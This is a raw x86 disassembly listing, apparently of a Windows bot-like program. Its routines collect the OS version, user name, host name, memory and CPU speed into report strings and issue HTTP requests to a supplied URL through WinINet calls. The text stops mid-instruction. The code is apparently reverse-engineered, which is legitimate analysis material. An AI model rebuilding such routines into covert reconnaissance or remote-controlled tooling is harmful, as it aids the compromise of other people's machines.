push 0 push 0F4240h push edx push eax call sub_424140 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_41E1FF jb short loc_41E245 cmp [ebp+var_8], 0F4240h ja short loc_41E1FF loc_41E245: ; CODE XREF: sub_41E1F9+41j push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_4241B0 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_41E27E jb short loc_41E273 cmp [ebp+var_18], 50h jnb short loc_41E27E loc_41E273: ; CODE XREF: sub_41E1F9+72j mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_41E27E: ; CODE XREF: sub_41E1F9+70j ; sub_41E1F9+78j cmp [ebp+var_14], 0 ja short loc_41E297 jb short loc_41E28C cmp [ebp+var_18], 47h jnb short loc_41E297 loc_41E28C: ; CODE XREF: sub_41E1F9+8Bj mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_41E297: ; CODE XREF: sub_41E1F9+89j ; sub_41E1F9+91j cmp [ebp+var_14], 0 ja short loc_41E2B0 jb short loc_41E2A5 cmp [ebp+var_18], 37h jnb short loc_41E2B0 loc_41E2A5: ; CODE XREF: sub_41E1F9+A4j mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_41E2B0: ; CODE XREF: sub_41E1F9+A2j ; sub_41E1F9+AAj cmp [ebp+var_14], 0 ja short loc_41E2C9 jb short loc_41E2BE cmp [ebp+var_18], 26h jnb short loc_41E2C9 loc_41E2BE: ; CODE XREF: sub_41E1F9+BDj mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_41E2C9: ; CODE XREF: sub_41E1F9+BBj ; sub_41E1F9+C3j cmp [ebp+var_14], 0 ja short loc_41E2E2 jb short loc_41E2D7 cmp [ebp+var_18], 1Eh jnb short loc_41E2E2 loc_41E2D7: ; CODE XREF: sub_41E1F9+D6j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_41E2E2: ; CODE XREF: sub_41E1F9+D4j ; sub_41E1F9+DCj cmp [ebp+var_14], 0 ja short loc_41E2F8 jb short loc_41E2F0 cmp [ebp+var_18], 0Ah jnb short loc_41E2F8 loc_41E2F0: ; CODE XREF: sub_41E1F9+EFj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_41E2F8: ; CODE XREF: sub_41E1F9+EDj ; sub_41E1F9+F5j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] mov edx, [ebp+var_4] leave retn sub_41E1F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E318 proc near ; CODE XREF: sub_4021E5+2BE5p var_96C = byte ptr -96Ch var_7EC = byte ptr -7ECh var_66C = byte ptr -66Ch var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_5CC = dword ptr -5CCh var_5C8 = byte ptr -5C8h var_4C4 = word ptr -4C4h var_4C2 = byte ptr -4C2h var_3C4 = byte ptr -3C4h var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = byte ptr -330h var_2E8 = byte ptr -2E8h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_244 = byte ptr -244h var_1C4 = byte ptr -1C4h var_144 = byte ptr -144h var_FC = byte ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 96Ch push esi push edi mov [ebp+var_2C8], offset dword_4E91DC mov [ebp+var_660], 94h lea eax, [ebp+var_660] push eax nop call near ptr 27F0576h cmp [ebp+var_65C], 4 jnz short loc_41E381 cmp [ebp+var_658], 0 jnz short loc_41E381 cmp [ebp+var_650], 1 jnz short loc_41E369 mov [ebp+var_2C8], offset a95_0 ; "95" loc_41E369: ; CODE XREF: sub_41E318+45j cmp [ebp+var_650], 2 jnz short loc_41E37C mov [ebp+var_2C8], offset aNt_0 ; "NT" loc_41E37C: ; CODE XREF: sub_41E318+58j jmp loc_41E424 ; --------------------------------------------------------------------------- loc_41E381: ; CODE XREF: sub_41E318+33j ; sub_41E318+3Cj cmp [ebp+var_65C], 4 jnz short loc_41E3A2 cmp [ebp+var_658], 0Ah jnz short loc_41E3A2 mov [ebp+var_2C8], offset a98_0 ; "98" jmp loc_41E424 ; --------------------------------------------------------------------------- loc_41E3A2: ; CODE XREF: sub_41E318+70j ; sub_41E318+79j cmp [ebp+var_65C], 4 jnz short loc_41E3C0 cmp [ebp+var_658], 5Ah jnz short loc_41E3C0 mov [ebp+var_2C8], offset aMe_1 ; "ME" jmp short loc_41E424 ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: sub_41E318+91j ; sub_41E318+9Aj cmp [ebp+var_65C], 5 jnz short loc_41E3DE cmp [ebp+var_658], 0 jnz short loc_41E3DE mov [ebp+var_2C8], offset a2k_0 ; "2K" jmp short loc_41E424 ; --------------------------------------------------------------------------- loc_41E3DE: ; CODE XREF: sub_41E318+AFj ; sub_41E318+B8j cmp [ebp+var_65C], 5 jnz short loc_41E3FC cmp [ebp+var_658], 1 jnz short loc_41E3FC mov [ebp+var_2C8], offset aXp_2 ; "XP" jmp short loc_41E424 ; --------------------------------------------------------------------------- loc_41E3FC: ; CODE XREF: sub_41E318+CDj ; sub_41E318+D6j cmp [ebp+var_65C], 5 jnz short loc_41E41A cmp [ebp+var_658], 2 jnz short loc_41E41A mov [ebp+var_2C8], offset a2003_0 ; "2003" jmp short loc_41E424 ; --------------------------------------------------------------------------- loc_41E41A: ; CODE XREF: sub_41E318+EBj ; sub_41E318+F4j mov [ebp+var_2C8], offset a??? ; "???" loc_41E424: ; CODE XREF: sub_41E318:loc_41E37Cj ; sub_41E318+85j ... cmp [ebp+var_650], 2 jnz short loc_41E465 movsx eax, [ebp+var_64C] test eax, eax jz short loc_41E465 lea eax, [ebp+var_64C] push eax push [ebp+var_2C8] push offset aSS_5 ; "%s (%s)" lea eax, [ebp+var_3C4] push eax call sub_4219C0 add esp, 10h lea eax, [ebp+var_3C4] mov [ebp+var_2C8], eax loc_41E465: ; CODE XREF: sub_41E318+113j ; sub_41E318+11Ej mov [ebp+var_338], 100h mov ax, word_44FC84 mov [ebp+var_4C4], ax push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_4C2] rep stosd stosw cmp dword_4E15E0, 0 jz short loc_41E4A8 lea eax, [ebp+var_338] push eax lea eax, [ebp+var_4C4] push eax call dword_4E15E0 ; GetUserNameA loc_41E4A8: ; CODE XREF: sub_41E318+17Aj push [ebp+arg_4] call sub_40C86E pop ecx push eax call dword_4E1740 ; inet_addr mov [ebp+var_5CC], eax push 2 push 4 lea eax, [ebp+var_5CC] push eax call dword_4E16B8 ; gethostbyaddr mov [ebp+var_334], eax cmp [ebp+var_334], 0 jz short loc_41E4F6 mov eax, [ebp+var_334] push dword ptr [eax] lea eax, [ebp+var_FC] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41E509 ; --------------------------------------------------------------------------- loc_41E4F6: ; CODE XREF: sub_41E318+1C4j push offset aCouldnTResolve ; "couldn't resolve host" lea eax, [ebp+var_FC] push eax call sub_4219C0 pop ecx pop ecx loc_41E509: ; CODE XREF: sub_41E318+1DCj push 104h lea eax, [ebp+var_5C8] push eax nop call near ptr 2790B56h push 46h lea eax, [ebp+var_330] push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push 0 push 0 push 409h nop call near ptr 2850000h push 46h lea eax, [ebp+var_144] push eax push offset aHhMmSs_0 ; "HH:mm:ss" push 0 push 0 push 409h call near ptr 2840000h nop push 20h push 0 lea eax, [ebp+var_2E8] push eax call sub_421410 add esp, 0Ch lea eax, [ebp+var_2E8] push eax nop call near ptr 2910000h push 0 push 0 push 0 lea eax, [ebp+var_66C] push eax lea eax, [ebp+var_5C8] push eax call sub_421C90 add esp, 14h lea eax, [ebp+var_66C] push eax lea eax, [ebp+var_96C] push eax call sub_41983F pop ecx pop ecx mov esi, eax push 60h pop ecx lea edi, [ebp+var_7EC] rep movsd push 60h pop ecx lea esi, [ebp+var_7EC] lea edi, [ebp+var_2C4] rep movsd push 0 call sub_41E075 pop ecx push eax lea eax, [ebp+var_144] push eax lea eax, [ebp+var_330] push eax lea eax, [ebp+var_4C4] push eax push [ebp+arg_4] call sub_40C86E pop ecx push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_5C8] push eax push [ebp+var_654] push [ebp+var_658] push [ebp+var_65C] push [ebp+var_2C8] lea eax, [ebp+var_244] push eax lea eax, [ebp+var_1C4] push eax mov eax, [ebp+var_2DC] shr eax, 0Ah xor ecx, ecx push ecx push eax call sub_4196B4 pop ecx pop ecx push eax mov eax, [ebp+var_2E0] shr eax, 0Ah xor ecx, ecx push ecx push eax call sub_4196B4 pop ecx pop ecx push eax call sub_41E1F9 push edx push eax push offset dword_44FCB8 push 200h push [ebp+arg_0] call sub_421B90 add esp, 50h mov eax, [ebp+arg_0] pop edi pop esi leave retn sub_41E318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E66D proc near ; CODE XREF: sub_4021E5+2B6Cp ; sub_4021E5+61B3p var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push 80h push 0 lea eax, [ebp+var_80] push eax call sub_421410 add esp, 0Ch cmp dword_4E17E8, 0 jnz short loc_41E6F5 push 0 push 80h lea eax, [ebp+var_80] push eax lea eax, [ebp+var_8C] push eax call dword_4E15C4 ; InternetGetConnectedStateExA test eax, eax jnz short loc_41E6BE push offset dword_44FD94 lea eax, [ebp+var_80] push eax call sub_4219C0 pop ecx pop ecx loc_41E6BE: ; CODE XREF: sub_41E66D+3Fj mov eax, [ebp+var_8C] and eax, 1 test eax, eax jz short loc_41E6E0 push offset dword_44FDA4 lea eax, [ebp+var_88] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41E6F3 ; --------------------------------------------------------------------------- loc_41E6E0: ; CODE XREF: sub_41E66D+5Cj push offset off_44FDAC lea eax, [ebp+var_88] push eax call sub_4219C0 pop ecx pop ecx loc_41E6F3: ; CODE XREF: sub_41E66D+71j jmp short loc_41E718 ; --------------------------------------------------------------------------- loc_41E6F5: ; CODE XREF: sub_41E66D+23j push offset off_44FDB0 lea eax, [ebp+var_88] push eax call sub_4219C0 pop ecx pop ecx push offset off_44FDB4 lea eax, [ebp+var_80] push eax call sub_4219C0 pop ecx pop ecx loc_41E718: ; CODE XREF: sub_41E66D:loc_41E6F3j push [ebp+arg_4] push [ebp+arg_8] call sub_40C86E pop ecx push eax lea eax, [ebp+var_80] push eax lea eax, [ebp+var_88] push eax push offset dword_44FDB8 push 200h push [ebp+arg_0] call sub_421B90 add esp, 1Ch mov eax, [ebp+arg_0] leave retn sub_41E66D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E74A proc near ; CODE XREF: sub_41E1F9:loc_41E1FFp ; sub_41E1F9+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_41E74A endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h lea eax, [ebp-0Ch] push eax mov ecx, [ebp+8] push ecx call sub_43D4C2 ; --------------------------------------------------------------------------- mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_41E783 xor eax, eax jmp loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E783: ; CODE XREF: .XComp0:0041E77Aj mov edx, [ebp-4] push edx call sub_41EDA0 add esp, 4 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jnz short loc_41E79F xor eax, eax jmp loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E79F: ; CODE XREF: .XComp0:0041E796j mov eax, [ebp-10h] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-0Ch] push edx mov eax, [ebp+8] push eax call sub_43D4BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41E7CB mov ecx, [ebp-10h] push ecx call sub_41F930 add esp, 4 xor eax, eax jmp loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E7CB: ; CODE XREF: .XComp0:0041E7B6j lea edx, [ebp-14h] push edx lea eax, [ebp-8] push eax push offset dword_44FDFC mov ecx, [ebp-10h] push ecx call sub_43D4B6 ; --------------------------------------------------------------------------- test eax, eax jz loc_41E8A4 mov edx, [ebp-8] mov eax, [edx+0Ch] shr eax, 10h and eax, 0FFFFh cmp eax, 0A28h jnz loc_41E8A4 mov ecx, [ebp-8] mov edx, [ecx+0Ch] and edx, 0FFFFh and edx, 0FFFFh mov [ebp-18h], edx cmp dword ptr [ebp-18h], 0A7Dh jg short loc_41E83D cmp dword ptr [ebp-18h], 0A7Dh jz short loc_41E881 cmp dword ptr [ebp-18h], 884h jz short loc_41E848 cmp dword ptr [ebp-18h], 9C9h jz short loc_41E86E jmp short loc_41E894 ; --------------------------------------------------------------------------- loc_41E83D: ; CODE XREF: .XComp0:0041E81Ej cmp dword ptr [ebp-18h], 0B4Ch jz short loc_41E85B jmp short loc_41E894 ; --------------------------------------------------------------------------- loc_41E848: ; CODE XREF: .XComp0:0041E830j mov eax, [ebp-10h] push eax call sub_41F930 add esp, 4 mov eax, 1 jmp short loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E85B: ; CODE XREF: .XComp0:0041E844j mov ecx, [ebp-10h] push ecx call sub_41F930 add esp, 4 mov eax, 2 jmp short loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E86E: ; CODE XREF: .XComp0:0041E839j mov edx, [ebp-10h] push edx call sub_41F930 add esp, 4 mov eax, 3 jmp short loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E881: ; CODE XREF: .XComp0:0041E827j mov eax, [ebp-10h] push eax call sub_41F930 add esp, 4 mov eax, 4 jmp short loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E894: ; CODE XREF: .XComp0:0041E83Bj ; .XComp0:0041E846j mov ecx, [ebp-10h] push ecx call sub_41F930 add esp, 4 xor eax, eax jmp short loc_41E8B2 ; --------------------------------------------------------------------------- loc_41E8A4: ; CODE XREF: .XComp0:0041E7E3j ; .XComp0:0041E7FCj mov edx, [ebp-10h] push edx call sub_41F930 add esp, 4 xor eax, eax loc_41E8B2: ; CODE XREF: .XComp0:0041E77Ej ; .XComp0:0041E79Aj ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8B6 proc near ; DATA XREF: sub_4021E5+51D8o var_664 = dword ptr -664h var_660 = byte ptr -660h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_35C = byte ptr -35Ch var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_254 = dword ptr -254h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = word ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_218 = dword ptr -218h var_214 = byte ptr -214h var_194 = byte ptr -194h var_114 = byte ptr -114h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 664h push esi push edi and [ebp+var_460], 0 and [ebp+var_2D8], 0 mov [ebp+var_2DC], offset dword_44FE00 mov esi, [ebp+arg_0] push 65h pop ecx lea edi, [ebp+var_218] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+190h], 1 push 80h push 0 lea eax, [ebp+var_2D4] push eax call sub_421410 add esp, 0Ch push 80h push 0 lea eax, [ebp+var_35C] push eax call sub_421410 add esp, 0Ch push 80h push 0 lea eax, [ebp+var_84] push eax call sub_421410 add esp, 0Ch push 100h push 0 lea eax, [ebp+var_45C] push eax call sub_421410 add esp, 0Ch push 3Ch push 0 lea eax, [ebp+var_254] push eax call sub_421410 add esp, 0Ch mov [ebp+var_254], 3Ch mov [ebp+var_240], 1 mov [ebp+var_234], 1 mov [ebp+var_22C], 1 mov [ebp+var_224], 1 loc_41E997: ; CODE XREF: sub_41E8B6+2A6j lea eax, [ebp+var_254] push eax push 0 lea eax, [ebp+var_214] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_214] push eax call dword_4E15FC ; InternetCrackUrlA test eax, eax jnz short loc_41E9D7 push offset dword_44FE04 lea eax, [ebp+var_660] push eax call sub_4219C0 pop ecx pop ecx jmp loc_41EB62 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E8B6+107j cmp [ebp+var_240], 0 jbe short loc_41E9FB push [ebp+var_240] push [ebp+var_244] lea eax, [ebp+var_2D4] push eax call sub_421470 add esp, 0Ch loc_41E9FB: ; CODE XREF: sub_41E8B6+128j movzx eax, [ebp+var_23C] mov [ebp+var_664], eax cmp [ebp+var_234], 0 jbe short loc_41EA2C push [ebp+var_234] push [ebp+var_238] lea eax, [ebp+var_35C] push eax call sub_421470 add esp, 0Ch loc_41EA2C: ; CODE XREF: sub_41E8B6+159j cmp [ebp+var_22C], 0 jbe short loc_41EA50 push [ebp+var_22C] push [ebp+var_230] lea eax, [ebp+var_84] push eax call sub_421470 add esp, 0Ch loc_41EA50: ; CODE XREF: sub_41E8B6+17Dj cmp [ebp+var_224], 0 jbe short loc_41EA74 push [ebp+var_224] push [ebp+var_228] lea eax, [ebp+var_45C] push eax call sub_421470 add esp, 0Ch loc_41EA74: ; CODE XREF: sub_41E8B6+1A1j push 0 push 0 push 3 lea eax, [ebp+var_84] push eax lea eax, [ebp+var_35C] push eax push [ebp+var_664] lea eax, [ebp+var_2D4] push eax push dword_4E16B0 call dword_4E16D4 ; InternetConnectA mov [ebp+var_460], eax cmp [ebp+var_460], 0 jnz short loc_41EAC8 push offset unk_44FE20 lea eax, [ebp+var_660] push eax call sub_4219C0 pop ecx pop ecx jmp loc_41EB62 ; --------------------------------------------------------------------------- loc_41EAC8: ; CODE XREF: sub_41E8B6+1F8j push 0 push 200h lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_194] push eax push 0 lea eax, [ebp+var_45C] push eax push 0 push [ebp+var_460] call dword_4E16C8 ; HttpOpenRequestA mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_41EB18 push offset unk_44FE4C lea eax, [ebp+var_660] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41EB62 ; --------------------------------------------------------------------------- loc_41EB18: ; CODE XREF: sub_41E8B6+24Bj push 0 push 0 push 0 push 0 push [ebp+var_2D8] call dword_4E1674 ; HttpSendRequestA test eax, eax jz short loc_41EB45 push offset dword_44FE7C lea eax, [ebp+var_660] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41EB58 ; --------------------------------------------------------------------------- loc_41EB45: ; CODE XREF: sub_41E8B6+278j push offset unk_44FE98 lea eax, [ebp+var_660] push eax call sub_4219C0 pop ecx pop ecx loc_41EB58: ; CODE XREF: sub_41E8B6+28Dj xor eax, eax test eax, eax jnz loc_41E997 loc_41EB62: ; CODE XREF: sub_41E8B6+11Cj ; sub_41E8B6+20Dj ... cmp [ebp+var_90], 0 jnz short loc_41EB8F push 0 push [ebp+var_8C] lea eax, [ebp+var_660] push eax lea eax, [ebp+var_114] push eax push [ebp+var_218] call sub_40B00F add esp, 14h loc_41EB8F: ; CODE XREF: sub_41E8B6+2B3j lea eax, [ebp+var_660] push eax call sub_4173DC pop ecx push [ebp+var_460] call dword_4E1734 ; InternetCloseHandle push [ebp+var_2D8] call dword_4E1734 ; InternetCloseHandle push [ebp+var_94] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_41E8B6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EBD0 proc near ; CODE XREF: sub_401000+4Ep ; .XComp0:00401287p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41EBF0 loc_41EBDC: ; CODE XREF: sub_41EBD0+19j mov al, [ecx] inc ecx test al, al jz short loc_41EC23 test ecx, 3 jnz short loc_41EBDC add eax, 0 loc_41EBF0: ; CODE XREF: sub_41EBD0+Aj ; sub_41EBD0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41EBF0 mov eax, [ecx-4] test al, al jz short loc_41EC41 test ah, ah jz short loc_41EC37 test eax, 0FF0000h jz short loc_41EC2D test eax, 0FF000000h jz short loc_41EC23 jmp short loc_41EBF0 ; --------------------------------------------------------------------------- loc_41EC23: ; CODE XREF: sub_41EBD0+11j ; sub_41EBD0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41EC2D: ; CODE XREF: sub_41EBD0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41EC37: ; CODE XREF: sub_41EBD0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41EC41: ; CODE XREF: sub_41EBD0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41EBD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC50 proc near ; CODE XREF: .XComp0:00401184p ; sub_4021E5+54EAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_41EC5E: ; CODE XREF: sub_41EC50+36j cmp [ebp+arg_0], 0 jnz short loc_41EC82 push offset dword_43E494 push 0 push 3Ah push offset dword_43E488 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41EC82 int 3 ; Trap to Debugger loc_41EC82: ; CODE XREF: sub_41EC50+12j ; sub_41EC50+2Fj xor eax, eax test eax, eax jnz short loc_41EC5E mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_41ECA1 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_41ECC8 ; --------------------------------------------------------------------------- loc_41ECA1: ; CODE XREF: sub_41EC50+43j mov ecx, [ebp+arg_0] push ecx call sub_424B30 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_41ECE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_424BA0 add esp, 4 loc_41ECC8: ; CODE XREF: sub_41EC50+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EC50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ECE0 proc near ; CODE XREF: sub_41EC50+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_41ECF6: ; CODE XREF: sub_41ECE0+3Ej cmp [ebp+arg_0], 0 jnz short loc_41ED1A push offset dword_43E4A4 push 0 push 77h push offset dword_43E488 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_41ED1A int 3 ; Trap to Debugger loc_41ED1A: ; CODE XREF: sub_41ECE0+1Aj ; sub_41ECE0+37j xor ecx, ecx test ecx, ecx jnz short loc_41ECF6 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41ED8A mov ecx, [ebp+var_8] push ecx call sub_425630 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_4254F0 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_4253C0 add esp, 4 test eax, eax jge short loc_41ED66 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_41ED8A ; --------------------------------------------------------------------------- loc_41ED66: ; CODE XREF: sub_41ECE0+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_41ED8A push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_41F970 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_41ED8A: ; CODE XREF: sub_41ECE0+4Dj ; sub_41ECE0+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41ECE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EDA0 proc near ; CODE XREF: .XComp0:004010F7p ; sub_40C6CF+71p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, dword_4E9258 push eax mov ecx, [ebp+arg_0] push ecx call sub_41EE20 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41EDA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EDD0 proc near ; CODE XREF: sub_41F230+20p ; sub_41F350+26p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, dword_4E9258 push eax mov ecx, [ebp+arg_0] push ecx call sub_41EE20 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41EDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE00 proc near ; CODE XREF: sub_423B90+Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41EE20 add esp, 14h pop ebp retn sub_41EE00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE20 proc near ; CODE XREF: sub_41EDA0+14p ; sub_41EDD0+1Ap ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041EE88 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E4D8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi loc_41EE43: ; CODE XREF: sub_41EE20:loc_41EEADj push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_41EEE0 add esp, 10h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41EE7D jmp short loc_41EE88 sub_41EE20 endp ; =============== S U B R O U T I N E ======================================= sub_41EE7D proc near ; CODE XREF: sub_41EE20+56p ; DATA XREF: .XComp0:0043E4E0o push 9 call sub_425A30 add esp, 4 retn sub_41EE7D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41EE20 loc_41EE88: ; CODE XREF: sub_41EE20+5Bj cmp [ebp+var_1C], 0 jnz short loc_41EE94 cmp [ebp+arg_4], 0 jnz short loc_41EE99 loc_41EE94: ; CODE XREF: sub_41EE20+6Cj mov eax, [ebp+var_1C] jmp short loc_41EEAF ; --------------------------------------------------------------------------- loc_41EE99: ; CODE XREF: sub_41EE20+72j mov ecx, [ebp+arg_0] push ecx call sub_425880 add esp, 4 test eax, eax jnz short loc_41EEAD xor eax, eax jmp short loc_41EEAF ; --------------------------------------------------------------------------- loc_41EEAD: ; CODE XREF: sub_41EE20+87j jmp short loc_41EE43 ; --------------------------------------------------------------------------- loc_41EEAF: ; CODE XREF: sub_41EE20+77j ; sub_41EE20+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41EE20 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_41EEE0 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EEE0 proc near ; CODE XREF: sub_41EE20+44p ; .XComp0:0041EECDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, 